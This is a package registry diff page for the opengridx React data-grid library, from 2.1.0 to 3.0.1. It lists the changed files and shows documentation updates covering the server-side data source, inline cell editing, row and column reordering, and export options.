@opencorestack/opengridx 2.1.0 → 3.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (225) hide show
  1. package/CHANGELOG.md +399 -0
  2. package/README.md +95 -72
  3. package/dist/index.d.ts +590 -131
  4. package/dist/opengridx.css +1 -1
  5. package/dist/opengridx.es.js +7891 -5631
  6. package/dist/opengridx.es.js.map +1 -1
  7. package/dist/opengridx.umd.js +17 -23
  8. package/dist/opengridx.umd.js.map +1 -1
  9. package/docs/API_REFERENCE.md +348 -166
  10. package/docs/README.md +6 -1
  11. package/docs/architecture/datagrid-orchestration.md +81 -0
  12. package/docs/architecture/grid-row-meta.md +102 -0
  13. package/docs/architecture/use-grid-columns.md +128 -0
  14. package/docs/architecture/use-grid-controlled-state.md +157 -0
  15. package/docs/architecture/use-grid-row-pipeline.md +120 -0
  16. package/docs/architecture/use-grid-scroll-sync.md +111 -0
  17. package/docs/architecture/use-grid-state-snapshot.md +90 -0
  18. package/docs/architecture/use-grid-virtualization.md +115 -0
  19. package/docs/architecture/use-grid-visible-rows.md +85 -0
  20. package/docs/assets/banner-alt.png +0 -0
  21. package/docs/assets/banner.png +0 -0
  22. package/docs/assets/hero.png +0 -0
  23. package/docs/assets/logo.png +0 -0
  24. package/docs/components/aggregation-footer.md +15 -10
  25. package/docs/components/cell.md +16 -6
  26. package/docs/components/column-group-header.md +55 -28
  27. package/docs/components/column-resize.md +17 -13
  28. package/docs/components/column-visibility.md +6 -7
  29. package/docs/components/datagrid.md +15 -13
  30. package/docs/components/empty-state.md +2 -1
  31. package/docs/components/error-overlay.md +12 -7
  32. package/docs/components/filter-panel.md +28 -8
  33. package/docs/components/header.md +28 -9
  34. package/docs/components/pagination.md +14 -8
  35. package/docs/components/row.md +21 -5
  36. package/docs/components/toolbar.md +27 -9
  37. package/docs/components/tooltip.md +16 -7
  38. package/docs/customization/slots-api.md +90 -38
  39. package/docs/customization/theming.md +66 -18
  40. package/docs/features/aggregation-pivot.md +75 -9
  41. package/docs/features/cell-spanning.md +80 -125
  42. package/docs/features/clipboard.md +41 -16
  43. package/docs/features/custom-pagination.md +38 -18
  44. package/docs/features/data-source.md +36 -13
  45. package/docs/features/editing-reordering.md +125 -16
  46. package/docs/features/export-guide.md +126 -39
  47. package/docs/features/filtering.md +44 -6
  48. package/docs/features/infinite-scroll.md +54 -46
  49. package/docs/features/keyboard-navigation.md +83 -0
  50. package/docs/features/list-view.md +58 -5
  51. package/docs/features/loading-states.md +18 -20
  52. package/docs/features/master-detail.md +18 -5
  53. package/docs/features/pdf-export.md +72 -19
  54. package/docs/features/pinning.md +24 -5
  55. package/docs/features/selection.md +50 -10
  56. package/docs/features/sorting-pagination.md +64 -14
  57. package/docs/features/state-persistence.md +78 -10
  58. package/docs/features/toolbar-customization.md +26 -17
  59. package/docs/features/tree-data-grouping.md +36 -8
  60. package/docs/features/virtualization.md +37 -14
  61. package/docs/migration/v1-to-v2.md +115 -0
  62. package/docs/migration/v2-to-v3.md +1233 -0
  63. package/docs/performance.md +124 -0
  64. package/docs/roadmap.md +5 -5
  65. package/lib/components/Cell/Cell.css +17 -1
  66. package/lib/components/Cell/Cell.tsx +129 -57
  67. package/lib/components/Cell/CellErrorBoundary.tsx +12 -6
  68. package/lib/components/Cell/GridEditInputCell.tsx +114 -41
  69. package/lib/components/ColumnGroupHeader/ColumnGroupHeader.css +7 -1
  70. package/lib/components/ColumnResizeHandle/ColumnResizeHandle.css +15 -2
  71. package/lib/components/ColumnResizeHandle/ColumnResizeHandle.tsx +104 -38
  72. package/lib/components/ColumnResizeHandle/clampResizeWidth.ts +13 -0
  73. package/lib/components/ColumnVisibilityPanel/ColumnVisibilityPanel.css +6 -0
  74. package/lib/components/ColumnVisibilityPanel/ColumnVisibilityPanel.tsx +21 -13
  75. package/lib/components/DataGrid/DataGrid.css +85 -12
  76. package/lib/components/DataGrid/DataGrid.tsx +582 -876
  77. package/lib/components/DataGrid/GridAggregationFooter.tsx +53 -17
  78. package/lib/components/DataGrid/GridErrorOverlay.tsx +15 -12
  79. package/lib/components/DataGrid/GridListView.tsx +165 -24
  80. package/lib/components/DataGrid/GridLiveRegion.tsx +31 -0
  81. package/lib/components/DataGrid/GridLoadingOverlay.tsx +27 -0
  82. package/lib/components/DataGrid/GridPaginationArea.tsx +44 -0
  83. package/lib/components/DataGrid/GridPinnedRows.tsx +62 -11
  84. package/lib/components/DataGrid/GridStandaloneColumnPanel.tsx +40 -38
  85. package/lib/components/DataGrid/GridToolbarSlot.tsx +51 -0
  86. package/lib/components/DataGrid/GridVirtualRows.tsx +40 -24
  87. package/lib/components/DetailPanel/DetailPanel.css +0 -6
  88. package/lib/components/DetailPanel/DetailPanel.tsx +34 -5
  89. package/lib/components/DetailPanel/DetailPanelContent.tsx +17 -0
  90. package/lib/components/FilterPanel/FilterPanel.css +13 -2
  91. package/lib/components/FilterPanel/FilterPanel.tsx +272 -99
  92. package/lib/components/Header/ColumnMenu.tsx +91 -39
  93. package/lib/components/Header/Header.css +6 -3
  94. package/lib/components/Header/Header.tsx +181 -160
  95. package/lib/components/ListView/ListView.css +25 -0
  96. package/lib/components/ListView/ListViewRow.tsx +76 -10
  97. package/lib/components/Pagination/Pagination.tsx +15 -7
  98. package/lib/components/Row/Row.tsx +177 -77
  99. package/lib/components/Toolbar/GlobalSearch.css +6 -3
  100. package/lib/components/Toolbar/GlobalSearch.tsx +26 -27
  101. package/lib/components/Toolbar/GridToolbar.css +12 -11
  102. package/lib/components/Toolbar/GridToolbar.tsx +133 -89
  103. package/lib/components/Toolbar/PivotPanel.tsx +89 -49
  104. package/lib/components/Tooltip/Tooltip.css +20 -0
  105. package/lib/components/Tooltip/Tooltip.tsx +68 -35
  106. package/lib/components/ui/Button.tsx +3 -0
  107. package/lib/components/ui/Checkbox.tsx +2 -1
  108. package/lib/components/ui/ExpandIcon.css +0 -9
  109. package/lib/components/ui/ExpandIcon.tsx +4 -1
  110. package/lib/hooks/core/gridApiPlaceholder.ts +34 -0
  111. package/lib/hooks/core/gridToolbarHostContext.ts +14 -0
  112. package/lib/hooks/core/useDataGrid.ts +115 -173
  113. package/lib/hooks/core/useGridAggregationApi.ts +72 -0
  114. package/lib/hooks/core/useGridApiMethods.ts +115 -0
  115. package/lib/hooks/core/useGridApiRef.ts +19 -4
  116. package/lib/hooks/core/useGridApiRefBinding.ts +18 -0
  117. package/lib/hooks/core/useGridAriaRows.ts +38 -0
  118. package/lib/hooks/core/useGridClipboardApi.ts +38 -0
  119. package/lib/hooks/core/useGridColumnLookup.ts +30 -0
  120. package/lib/hooks/core/useGridColumns.tsx +279 -76
  121. package/lib/hooks/core/useGridColumnsPanel.ts +77 -0
  122. package/lib/hooks/core/useGridControlledState.ts +99 -6
  123. package/lib/hooks/core/useGridDetailPanel.ts +51 -0
  124. package/lib/hooks/core/useGridDevWarnings.ts +104 -5
  125. package/lib/hooks/core/useGridFocusHandlers.ts +50 -0
  126. package/lib/hooks/core/useGridGroupingColumn.ts +62 -0
  127. package/lib/hooks/core/useGridHeaderHandlers.ts +92 -0
  128. package/lib/hooks/core/useGridHierarchy.ts +81 -0
  129. package/lib/hooks/core/useGridKeyboardNavigation.ts +447 -243
  130. package/lib/hooks/core/useGridLiveRowSelection.ts +67 -0
  131. package/lib/hooks/core/useGridPageCorrection.ts +55 -0
  132. package/lib/hooks/core/useGridRowIdOf.ts +32 -0
  133. package/lib/hooks/core/useGridRowInteractions.ts +81 -0
  134. package/lib/hooks/core/useGridRowPipeline.ts +69 -39
  135. package/lib/hooks/core/useGridRowSelection.ts +91 -0
  136. package/lib/hooks/core/useGridScrollSync.ts +80 -32
  137. package/lib/hooks/core/useGridScrollToIndexesApi.ts +45 -0
  138. package/lib/hooks/core/useGridStateSnapshot.ts +40 -5
  139. package/lib/hooks/core/useGridThemeDimensions.ts +49 -0
  140. package/lib/hooks/core/useGridToolbarProps.ts +97 -0
  141. package/lib/hooks/core/useGridViewport.ts +38 -0
  142. package/lib/hooks/core/useGridViewportSize.ts +26 -0
  143. package/lib/hooks/core/useGridVisibleRows.ts +17 -5
  144. package/lib/hooks/core/useLayout.ts +215 -195
  145. package/lib/hooks/core/useRowsScrollEndLatch.ts +41 -0
  146. package/lib/hooks/core/useStableColumns.ts +34 -0
  147. package/lib/hooks/features/useAggregation.ts +82 -51
  148. package/lib/hooks/features/useColumnGroupReorderGuard.ts +34 -0
  149. package/lib/hooks/features/useDetailPanelHeights.ts +29 -0
  150. package/lib/hooks/features/useGridClipboard.ts +133 -73
  151. package/lib/hooks/features/useGridDataSource.ts +354 -128
  152. package/lib/hooks/features/useGridEditing.ts +211 -51
  153. package/lib/hooks/features/useGridPivot.ts +92 -0
  154. package/lib/hooks/features/useGridSpanRenderWindow.ts +104 -0
  155. package/lib/hooks/features/useGridSpanning.ts +410 -306
  156. package/lib/hooks/features/usePivot.ts +0 -0
  157. package/lib/hooks/features/useServerTreeChildren.ts +50 -0
  158. package/lib/hooks/useColumnReorder.ts +38 -44
  159. package/lib/hooks/useRowGrouping.ts +298 -160
  160. package/lib/hooks/useRowReorder.ts +62 -31
  161. package/lib/hooks/useTreeData.ts +287 -220
  162. package/lib/index.ts +28 -2
  163. package/lib/state/index.ts +1 -0
  164. package/lib/state/types.ts +7 -1
  165. package/lib/state/useGridStateStorage.ts +88 -29
  166. package/lib/theme/DataGridThemeProvider.tsx +143 -38
  167. package/lib/theme/gridThemeContext.ts +5 -0
  168. package/lib/theme/index.ts +5 -0
  169. package/lib/theme/presets.ts +5 -4
  170. package/lib/theme/types.ts +40 -2
  171. package/lib/types/index.ts +313 -116
  172. package/lib/utils/aggregation/index.ts +119 -24
  173. package/lib/utils/aria/index.ts +40 -0
  174. package/lib/utils/columnGroups.ts +110 -0
  175. package/lib/utils/columnLookup.ts +33 -0
  176. package/lib/utils/columnWidth.ts +22 -0
  177. package/lib/utils/dataSource/index.ts +46 -0
  178. package/lib/utils/detailPanel.ts +66 -0
  179. package/lib/utils/dragData.ts +44 -0
  180. package/lib/utils/editing/index.ts +30 -0
  181. package/lib/utils/export/exportShared.ts +197 -0
  182. package/lib/utils/export/exportToExcelAdvanced.ts +278 -139
  183. package/lib/utils/export/exportToPdf.ts +143 -92
  184. package/lib/utils/export/groupLabel.ts +14 -0
  185. package/lib/utils/export/index.ts +278 -272
  186. package/lib/utils/export/pdfText.ts +50 -0
  187. package/lib/utils/filtering/index.ts +277 -148
  188. package/lib/utils/focus/index.ts +115 -0
  189. package/lib/utils/gridApiRows.ts +35 -0
  190. package/lib/utils/gridModes.ts +77 -0
  191. package/lib/utils/grouping/groupedExportRows.ts +91 -0
  192. package/lib/utils/pagination/index.ts +56 -0
  193. package/lib/utils/pinning/index.ts +77 -33
  194. package/lib/utils/pivot/index.ts +368 -0
  195. package/lib/utils/scroll/index.ts +55 -5
  196. package/lib/utils/scroll/scrollEnd.ts +18 -0
  197. package/lib/utils/sorting/index.ts +154 -30
  198. package/lib/utils/syntheticRows.ts +12 -0
  199. package/lib/utils/values.ts +206 -0
  200. package/lib/utils/viewport.ts +14 -0
  201. package/llms.txt +261 -164
  202. package/package.json +13 -5
  203. package/lib/components/ColumnGroupHeader/ColumnGroupHeader.tsx +0 -220
  204. package/lib/components/ColumnVisibilityPanel/ColumnVisibilityPanel.test.tsx +0 -85
  205. package/lib/components/DataGrid/DataGrid.defects.test.tsx +0 -103
  206. package/lib/components/DataGrid/DataGrid.regression.test.tsx +0 -132
  207. package/lib/components/DataGrid/DataGrid.smoke.test.tsx +0 -58
  208. package/lib/components/DataGrid/DataGrid.v2.test.tsx +0 -127
  209. package/lib/components/DataGrid/DataGrid.virtualization.browser.test.tsx +0 -183
  210. package/lib/components/Header/Header.test.tsx +0 -135
  211. package/lib/components/Pagination/Pagination.test.tsx +0 -64
  212. package/lib/hooks/core/useDataGrid.regression.test.ts +0 -66
  213. package/lib/hooks/core/useGridControlledState.test.ts +0 -86
  214. package/lib/hooks/core/useGridKeyboardNavigation.test.ts +0 -176
  215. package/lib/hooks/core/useGridRowPipeline.test.ts +0 -117
  216. package/lib/hooks/features/useAggregation.test.ts +0 -175
  217. package/lib/hooks/features/usePivot.test.ts +0 -202
  218. package/lib/hooks/useRowGrouping.test.ts +0 -298
  219. package/lib/hooks/useTreeData.test.ts +0 -83
  220. package/lib/utils/aggregation/aggregation.test.ts +0 -16
  221. package/lib/utils/export/exportToExcelAdvanced.test.ts +0 -109
  222. package/lib/utils/export/exportToPdf.test.ts +0 -120
  223. package/lib/utils/export/groupedExport.test.ts +0 -144
  224. package/lib/utils/filtering/filtering.test.ts +0 -178
  225. package/lib/utils/sorting/sorting.test.ts +0 -88
@@ -1,15 +1,17 @@
1
1
  # 🌐 Server-Side Data Source
2
2
 
3
- Handle millions of rows by connecting OpenGridX directly to your backend API.
3
+ Connect OpenGridX to your backend API so the server does the sorting, filtering and paging.
4
4
 
5
5
  ---
6
6
 
7
7
  ## 📑 The `GridDataSource` Interface
8
8
 
9
- The `dataSource` prop is the gateway to server-side operations. When provided, the grid becomes a "thin client" that requests only the data it needs to render the current viewport.
9
+ The `dataSource` prop is the gateway to server-side operations. The grid calls `getRows` with a row range and the current sort, filter and aggregation models, and shows the rows it returns. Requests are page-based (see *Modes of Operation*), not driven by the scroll position.
10
10
 
11
11
  ### Implementation
12
12
  ```tsx
13
+ import { DataGrid, type GridDataSource } from '@opencorestack/opengridx';
14
+
13
15
  const myDataSource: GridDataSource = {
14
16
  getRows: async (params) => {
15
17
  const { startRow, endRow, sortModel, filterModel } = params;
@@ -23,12 +25,20 @@ const myDataSource: GridDataSource = {
23
25
 
24
26
  return {
25
27
  rows: data.items,
26
- rowCount: data.totalCount // Required for stable pagination
28
+ rowCount: data.totalCount // the total, used by the pager with paginationMode="server"
27
29
  };
28
30
  }
29
31
  };
30
32
 
31
- <DataGrid dataSource={myDataSource} />
33
+ <DataGrid
34
+ rows={[]}
35
+ columns={columns}
36
+ dataSource={myDataSource}
37
+ pagination
38
+ paginationMode="server"
39
+ sortingMode="server"
40
+ filterMode="server"
41
+ />
32
42
  ```
33
43
 
34
44
  ---
@@ -38,28 +48,41 @@ const myDataSource: GridDataSource = {
38
48
  | Parameter | Type | Description |
39
49
  | :--- | :--- | :--- |
40
50
  | `startRow` | `number` | The starting index of the requested range. |
41
- | `endRow` | `number` | The ending index (exclusive). |
51
+ | `endRow` | `number` | The ending index (exclusive): return `rows.slice(startRow, endRow)`. `Number.MAX_SAFE_INTEGER` means "every row". |
42
52
  | `sortModel` | `GridSortItem[]` | Current sorting configuration. |
43
53
  | `filterModel` | `GridFilterModel` | Current filtering configuration. |
44
- | `groupKeys` | `string[]` | Active expansion path (used for server-side tree data). |
54
+ | `groupKeys` | `string[]` | Path of the parent whose children are requested (server-side tree data); empty for top-level rows. |
55
+ | `aggregationModel` | `GridAggregationModel \| undefined` | Current aggregation configuration, so the server can return `aggregationResults`. |
45
56
 
46
57
  ---
47
58
 
48
59
  ## 🔄 Modes of Operation
49
60
 
50
- ### 1. Server-Side Pagination
51
- Set `paginationMode="server"`. The grid will request fresh data every time the page changes.
61
+ The grid calls `getRows` whenever a `dataSource` is set. Rapid changes are collapsed into one request (300 ms debounce); the loading state shows from the moment a request is scheduled. Rows are keyed with `getRowId`.
62
+
63
+ ### 1. Client Pagination (default)
64
+ With `paginationMode="client"` (the default) the grid requests every row once (`startRow: 0`, `endRow: Number.MAX_SAFE_INTEGER`) and pages them itself. With `sortingMode="server"` or `filterMode="server"` a sort or filter change requests every row again with the new model; client-side sorts and filters, and page changes, never refetch.
65
+
66
+ ### 2. Server-Side Pagination
67
+ Set `paginationMode="server"`. Each page change requests `[page * pageSize, (page + 1) * pageSize)` and the response replaces the rows. Return `rowCount` so the pager knows the total.
52
68
 
53
- ### 2. Infinite Loading
54
- Set `paginationMode="infinite"`. The grid will request the next "chunk" of data as the user scrolls near the bottom of the list.
69
+ Row grouping turns pagination off (every group renders in one scrollable view). With `rowGroupingModel` set, a `paginationMode="server"` source is therefore asked for every row (`startRow: 0`, `endRow: Number.MAX_SAFE_INTEGER`) instead of the first page, and a development warning says so (v3.0+; before, only the first page was requested and the rest were unreachable).
55
70
 
56
- ### 3. Server-Side Tree Data
57
- When `treeData` is enabled with a `dataSource`, OpenGridX will call `getRows` with `groupKeys`. You should return the children for that specific parent path.
71
+ ### 3. Infinite Loading
72
+ Set `paginationMode="infinite"` and advance `paginationModel.page` (for example from `onRowsScrollEnd`). The grid requests the rows from the end of what is loaded up to the current page and appends them, so a page that moves on while a request is in flight never leaves a gap. See [Infinite Scroll](infinite-scroll.md).
73
+
74
+ ### 4. Server-Side Tree Data
75
+ When `treeData` is enabled with a `dataSource`, top-level rows come from the normal request. A row with `serverChildrenCount > 0` shows an expand toggle; expanding it calls `getRows` with that row's path in `groupKeys` (and `startRow: 0`, `endRow: Number.MAX_SAFE_INTEGER`). Return that parent's children. With `filterMode="server"` / `sortingMode="server"` the returned rows are neither re-filtered nor re-sorted in the tree. When a refetch replaces the rows (page, sort, filter), the children of nodes that are still expanded are requested again. If a children request fails, the node collapses again and the error is logged; expanding it retries. (It does not show the grid-level error overlay.) `defaultGroupingExpansionDepth` counts a node with `serverChildrenCount > 0` as expandable, so the nodes within that depth (all of them with `-1`) start expanded and their children are requested right away (v3.0+; before, lazy nodes were never expanded by the default depth).
76
+
77
+ ### When a refetch happens
78
+ Models are compared by content, so an inline `filterModel={{ items: [] }}` or a `dataSource={{ getRows }}` object recreated with the same `getRows` function does not refetch. A new `getRows` function does. A response for parameters that have changed in the meantime is discarded.
58
79
 
59
80
  ---
60
81
 
61
82
  ## 🛠️ Error Handling
62
- If your API call fails, you should throw an error or return a rejected promise. OpenGridX will automatically display the **Error Overlay** with a "Retry" button.
83
+ If your API call fails, throw an error or return a rejected promise. OpenGridX shows the **Error Overlay** with the rejection's `message` (an `Error`, a string, or any object with a string `message`) and a **Retry** button that requests the rows again.
84
+
85
+ A response the grid cannot use fails the same way (v3.0+): a response without a `rows` array, or a `getRowId` that throws for a fetched row, shows the error overlay and ends the loading state, instead of an unhandled promise rejection and an endless "Loading". For a children request (server-side tree data) it collapses the node as a failed request does.
63
86
 
64
87
  ```typescript
65
88
  getRows: async () => {
@@ -10,12 +10,33 @@ OpenGridX supports inline cell editing. For a column to be editable, you must se
10
10
 
11
11
  ### Basic Setup
12
12
  ```tsx
13
- const columns = [
13
+ import type { GridColDef } from '@opencorestack/opengridx';
14
+
15
+ const columns: GridColDef[] = [
14
16
  { field: 'name', editable: true },
15
17
  { field: 'role', editable: true, type: 'singleSelect', valueOptions: ['Admin', 'Editor'] }
16
18
  ];
17
19
  ```
18
20
 
21
+ Double-click a cell or press **Enter** on a focused cell to open its editor.
22
+
23
+ ### Which cells can be edited
24
+ A cell is editable when its column has `editable: true` **and**, if you pass it, `isCellEditable` returns `true`. The same rule drives double-click, Enter, the cells **Tab** stops on while editing, and `aria-readonly`.
25
+
26
+ ```tsx
27
+ <DataGrid
28
+ columns={columns}
29
+ rows={rows}
30
+ // Lock archived rows, whatever the column says.
31
+ isCellEditable={({ row }) => row.status !== 'archived'}
32
+ />
33
+ ```
34
+
35
+ - `isCellEditable` can only restrict. It cannot make a column without `editable: true` editable. If it throws, the cell is treated as read-only.
36
+ - Row-grouping group rows and the ancestors tree data generates for missing path segments are never editable. Tree-data **parent rows are your own rows** and are editable like any other row.
37
+ - Pinned rows (`pinnedRows`) are edited like any other row, with double-click or Enter (v3.0; they used to show no editor).
38
+ - **Enter** on a cell that is not editable does what clicking its row does (`onRowClick`, click-to-select, expanding a group). See [Keyboard & Accessibility](keyboard-navigation.md).
39
+
19
40
  ### Persistence
20
41
  When a cell edit is committed, the `processRowUpdate` callback is triggered.
21
42
 
@@ -33,6 +54,82 @@ When a cell edit is committed, the `processRowUpdate` callback is triggered.
33
54
  />
34
55
  ```
35
56
 
57
+ `processRowUpdate` must return the row to store (or a Promise of it). The grid stores that row under the id of the row you edited, so a server response that lacks the key field (for example the `uid` read by `getRowId={r => r.uid}`) is still applied. The row is stored as returned: the grid never adds an `id` field to it (v3.0+). Returning nothing is a mistake the grid reports through `onProcessRowUpdateError` (or `console.error` in development when no handler is set); the editor stays open.
58
+
59
+ ### Commit and cancel
60
+
61
+ | Action | Result |
62
+ | :--- | :--- |
63
+ | **Enter** | Commits and closes the editor. |
64
+ | **Tab** / **Shift+Tab** | Commits and moves to the next / previous editable cell. With no editable cell left, focus moves on out of the grid and the edit commits. Outside edit mode Tab is not captured: it leaves the grid. |
65
+ | Moving focus away (clicking another cell or any control outside the grid) | Commits. Focus stays where you put it. |
66
+ | The edited cell leaving the grid (scrolled out of the render window, filtered out, another page) | Commits, as if the editor had lost focus. |
67
+ | Starting an edit on another cell | Commits the current edit first. |
68
+ | **Escape** | Discards the pending value and closes the editor. |
69
+
70
+ Clicks and double-clicks inside an open editor stay in the editor: you can place the caret, select a word or open a dropdown. They do not fire `onCellClick`, `onRowClick` or `onRowDoubleClick`, and do not change row selection. While an IME is composing (Japanese, Chinese, Korean input), **Enter** confirms the candidate and does not commit.
71
+
72
+ `processRowUpdate` runs **once per commit**. Actions that overlap, such as pressing Enter and then clicking elsewhere while an async save is in flight, share that one call.
73
+
74
+ With an async `processRowUpdate`, the editor stays open until the Promise settles:
75
+ - **Resolved:** the returned row is stored and the editor closes. If the user kept typing meanwhile, the editor stays open with the newer text, which the next commit saves.
76
+ - **Rejected:** `onProcessRowUpdateError` receives the error and the editor stays open with the pending value, so the user can fix it or press Escape.
77
+ - **Escape while pending** closes the editor at once, but cannot recall the save: when it resolves, the returned row is still stored, because your `processRowUpdate` has already run.
78
+ - A late result never closes an edit the user has started on another cell.
79
+
80
+ ### Built-in editors
81
+ The editor follows the column `type`, and commits values of the same type the cell held.
82
+
83
+ | `type` | Editor | Committed value |
84
+ | :--- | :--- | :--- |
85
+ | `'string'` (default) | Text input | String. |
86
+ | `'number'` | Number input | Number, or `null` when cleared. |
87
+ | `'boolean'` | Checkbox | Toggling commits immediately. |
88
+ | `'singleSelect'` | `<select>` over `valueOptions` | The option's own value: `{ value: 2, label: 'Closed' }` commits the number `2`, not `'2'`. When the current value is empty or not among the options, an empty choice is shown, so any option can be picked. |
89
+ | `'date'` | Date input | Same kind as before: a `Date` stays a `Date` (keeping its time of day), a timestamp stays a timestamp, an ISO date-time string keeps its time part. `null` when cleared. |
90
+
91
+ Every editor is labelled with the column's `headerName` (or `field`) for screen readers.
92
+
93
+ ### Custom editors (`renderEditCell`)
94
+ `renderEditCell` receives the usual cell params, with `value` set to the pending value, plus three callbacks:
95
+
96
+ ```tsx
97
+ import type { GridColDef, GridRenderEditCellParams } from '@opencorestack/opengridx';
98
+
99
+ function RatingEditor({ value, onValueChange, onCommit, onCancel }: GridRenderEditCellParams) {
100
+ return (
101
+ <input
102
+ type="range" min={0} max={5} autoFocus
103
+ value={Number(value ?? 0)}
104
+ onChange={e => onValueChange(Number(e.target.value))}
105
+ onBlur={onCommit}
106
+ onKeyDown={e => { if (e.key === 'Escape') onCancel(); }}
107
+ />
108
+ );
109
+ }
110
+
111
+ const columns: GridColDef[] = [
112
+ { field: 'rating', type: 'number', editable: true, renderEditCell: params => <RatingEditor {...params} /> },
113
+ ];
114
+ ```
115
+
116
+ Enter and Escape keydowns that bubble out of a custom editor also commit and cancel. An error thrown by `renderEditCell` is contained to its cell (the cell shows `⚠`), like `renderCell`.
117
+
118
+ ### Computed columns (`valueGetter` + `valueSetter`)
119
+ An editable column with a `valueGetter` edits the derived value. Give it a `valueSetter` so the commit can write the value back to the fields it comes from; otherwise the commit writes `row[field]`, which the `valueGetter` ignores, and a development warning is logged.
120
+
121
+ ```tsx
122
+ {
123
+ field: 'fullName',
124
+ editable: true,
125
+ valueGetter: ({ row }) => `${row.firstName} ${row.lastName}`,
126
+ valueSetter: ({ value, row }) => {
127
+ const [firstName, ...rest] = String(value).split(' ');
128
+ return { ...row, firstName, lastName: rest.join(' ') };
129
+ },
130
+ }
131
+ ```
132
+
36
133
  ---
37
134
 
38
135
  ## ↕️ Row Reordering
@@ -45,10 +142,9 @@ Allows users to rearrange rows by dragging a handle.
45
142
 
46
143
  ```tsx
47
144
  <DataGrid
145
+ rows={rows}
48
146
  rowReordering={true}
49
- onRowOrderChange={(params) => {
50
- const { oldIndex, targetIndex } = params;
51
- // Move logic
147
+ onRowOrderChange={({ oldIndex, targetIndex }) => {
52
148
  const newRows = [...rows];
53
149
  const [moved] = newRows.splice(oldIndex, 1);
54
150
  newRows.splice(targetIndex, 0, moved);
@@ -57,8 +153,19 @@ Allows users to rearrange rows by dragging a handle.
57
153
  />
58
154
  ```
59
155
 
60
- > [!IMPORTANT]
61
- > Row reordering is usually disabled when sorting or filtering is active to prevent index confusion.
156
+ ### What the indices mean
157
+ `oldIndex` and `targetIndex` are positions in **your `rows` prop** (v3.0+), so `rows[oldIndex] === params.row` and the splice above always moves the row that was dragged. This holds on every page, with pinned rows, and while the grid is sorted or filtered. (Before v3.0 they were positions in the visible page, which moved the wrong row in all of those cases.)
158
+
159
+ `params.row` is your own row object, also with `getRowId`.
160
+
161
+ While the grid is sorted, the new position in `rows` does not change where the row shows up: the sort decides that. Turn sorting off if the drag should visibly move the row.
162
+
163
+ ### Which rows can be dragged
164
+ - Every data row you passed in `rows` can be dragged and dropped on.
165
+ - Pinned rows (`pinnedRows`) keep their place. They show an empty handle cell, so their cells line up with the header, but cannot be dragged or dropped on.
166
+ - Rows the grid makes itself cannot be dragged or dropped on: row-grouping group rows and the tree-data parents generated for missing path segments.
167
+ - While pivot mode is active, row reordering is off (no handle column): pivot rows are generated, so their positions mean nothing in `rows`. It comes back when pivoting ends.
168
+ - Only the grid's own row drags are accepted: dropping a file, a text selection or a header on a row does nothing.
62
169
 
63
170
  ---
64
171
 
@@ -73,26 +180,26 @@ Use the `disableColumnReorder` prop to control this feature globally.
73
180
  <DataGrid disableColumnReorder={true} />
74
181
  ```
75
182
 
183
+ `disableColumnReorder` only removes the user's ways to reorder (header drag, Columns-panel reorder). A controlled `columnOrder` or `initialState.columns.columnOrder` still sets the order, so you can fix a custom order and stop users from changing it.
184
+
76
185
  ### Controlled Column Order
77
- You can manage the column order state explicitly using `columnOrder` and `onColumnOrderChange`.
186
+ Manage the order yourself with `columnOrder` and `onColumnOrderModelChange`, which receives the whole new order after every change: a header drag, a drag in the Columns panel, and the panel's **Reset**.
78
187
 
79
188
  ```tsx
80
- const [colOrder, setColOrder] = useState(['id', 'name', 'status']);
189
+ const [colOrder, setColOrder] = useState<string[]>(['id', 'name', 'status']);
81
190
 
82
191
  <DataGrid
83
192
  columnOrder={colOrder}
84
- onColumnOrderChange={(params) => {
85
- // params: { column: GridColDef, oldIndex: number, targetIndex: number }
86
- const newOrder = [...colOrder];
87
- const [moved] = newOrder.splice(params.oldIndex, 1);
88
- newOrder.splice(params.targetIndex, 0, moved);
89
- setColOrder(newOrder);
90
- }}
193
+ onColumnOrderModelChange={setColOrder}
91
194
  />
92
195
  ```
93
196
 
197
+ `onColumnOrderChange` still fires for every single move, with `{ column, oldIndex, targetIndex }`. The indices are positions in the grid's **full** column order: every current column (hidden columns and the row-grouping `__group__` column included), in its current order. Splicing your `columnOrder` with them is only right when it lists every column; prefer `onColumnOrderModelChange`. The panel's Reset does not fire `onColumnOrderChange`.
198
+
199
+ Columns missing from `columnOrder` (added later, for example) are still shown, placed by their position in `columns`.
200
+
94
201
  ### Non-Reorderable Columns
95
- To prevent all columns from being reordered, use `disableColumnReorder` on the grid. For individual column control, pin the column using `pinnedColumns` at the grid level — pinned columns do not participate in drag-reorder.
202
+ To prevent all columns from being reordered, use `disableColumnReorder` on the grid. Pinned columns (`pinnedColumns`, and the row-grouping column) keep their place: their headers cannot be dragged, and a header dropped on them does nothing. Unpin a column to move it. `pinnable: false` only stops a column from being pinned; it can still be reordered (v3.0+).
96
203
 
97
204
  ```tsx
98
205
  // Disable reordering globally
@@ -101,3 +208,5 @@ To prevent all columns from being reordered, use `disableColumnReorder` on the g
101
208
  // Keep a column fixed by pinning it
102
209
  <DataGrid pinnedColumns={{ left: ['id'] }} />
103
210
  ```
211
+
212
+ Under `columnGroupingModel`, a column can only be dropped on a column of the same group.
@@ -22,8 +22,8 @@ import { exportToCsv, exportToExcel, exportToExcelAdvanced, exportToJson, printG
22
22
  // CSV
23
23
  exportToCsv(rows, columns, { fileName: 'data.csv' });
24
24
 
25
- // Basic Excel (no deps)
26
- exportToExcel(rows, columns, { fileName: 'data.xlsx' });
25
+ // Basic Excel (no deps) — an HTML table that Excel opens as a legacy .xls
26
+ exportToExcel(rows, columns, { fileName: 'data.xls' });
27
27
 
28
28
  // Advanced Excel (ExcelJS, lazy-loaded)
29
29
  await exportToExcelAdvanced(rows, columns, { fileName: 'data.xlsx' });
@@ -58,16 +58,24 @@ exportToCsv(rows, columns, {
58
58
  |---|---|---|---|
59
59
  | `fileName` | `string` | `'export.csv'` | Output filename |
60
60
  | `includeHeaders` | `boolean` | `true` | Include column header row |
61
- | `delimiter` | `string` | `','` | Field delimiter |
62
- | `selectedRows` | `(string\|number)[]` | — | Export only these row IDs |
61
+ | `delimiter` | `string` | `','` | Field delimiter. Values that contain it (or a quote, LF or CR) are quoted |
62
+ | `selectedRows` | `(string\|number)[]` | — | Export only these row IDs. See [Selection, grouping and totals](#selection-grouping-and-totals) |
63
63
  | `aggregationResult` | `object \| null` | — | Appends two rows after the data: a function-label row (`SUM`, `AVG`…) then a values row |
64
64
  | `aggregationModel` | `object \| null` | — | Labels for aggregation row |
65
